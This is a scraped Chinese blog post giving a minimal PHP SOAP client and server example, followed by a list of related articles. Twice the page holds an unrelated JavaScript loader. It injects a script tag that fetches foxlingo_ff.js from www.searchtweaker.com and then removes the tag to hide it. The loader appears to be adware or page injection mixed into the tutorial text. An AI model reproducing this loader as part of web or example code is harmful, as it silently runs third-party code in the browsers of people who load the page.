PHP SOAP 使用示例
2014-07-02 15:16
302 查看
soap_client.php
soap_server.php
// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>
<?php try { $client = new SoapClient( null, array('location' =>"http://localhost/soap_server.php",'uri'=>"http://test-uri") ); echo $client->getVar(); } catch (SoapFault $fault){ echo "Error: ".$fault->faultcode."<br/> String: ".$fault->faultstring; }
soap_server.php
<?php $soap = new SoapServer(null,array('uri'=>"http://test-uri")); $soap->setClass('MyClass'); $soap->handle(); class MyClass { public $var = 'Hello'; function getVar() { return xmlrpc_encode($this->var); } } ?>
// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>
相关文章推荐
- PHP SOAP 使用示例
- PHP快速入门教程:WHILE循环的使用示例
- 用Php扩展实现的简单框架 - 6 - 使用示例
- PHP使用SOAP
- php示例代码之使用MySQLi接口
- php示例代码之使用mysql_fetch_object函数
- php示例代码使用mysql_fetch_assoc函数
- 从 PHP 脚本中访问企业应用程序 使用 PHP 5 SOAP 扩展访问 WebSphere Web 服务
- PHP使用SOAP做webservice
- 使用php webservice(SOAP)的注意事项
- php示例代码之使用mysqli对象
- php常用函数使用示例
- PHP+sqlite使用示例
- PHP的SOAP扩展原理和使用(转)
- PHP中soap的使用例子
- PHP快速入门教程:WHILE循环的使用示例
- php 接口使用示例
- PHP 中使用 SOAP(1)
- php示例代码之使用list函数和mysql_fetch_row函数
- PHP SOAP服务示例代码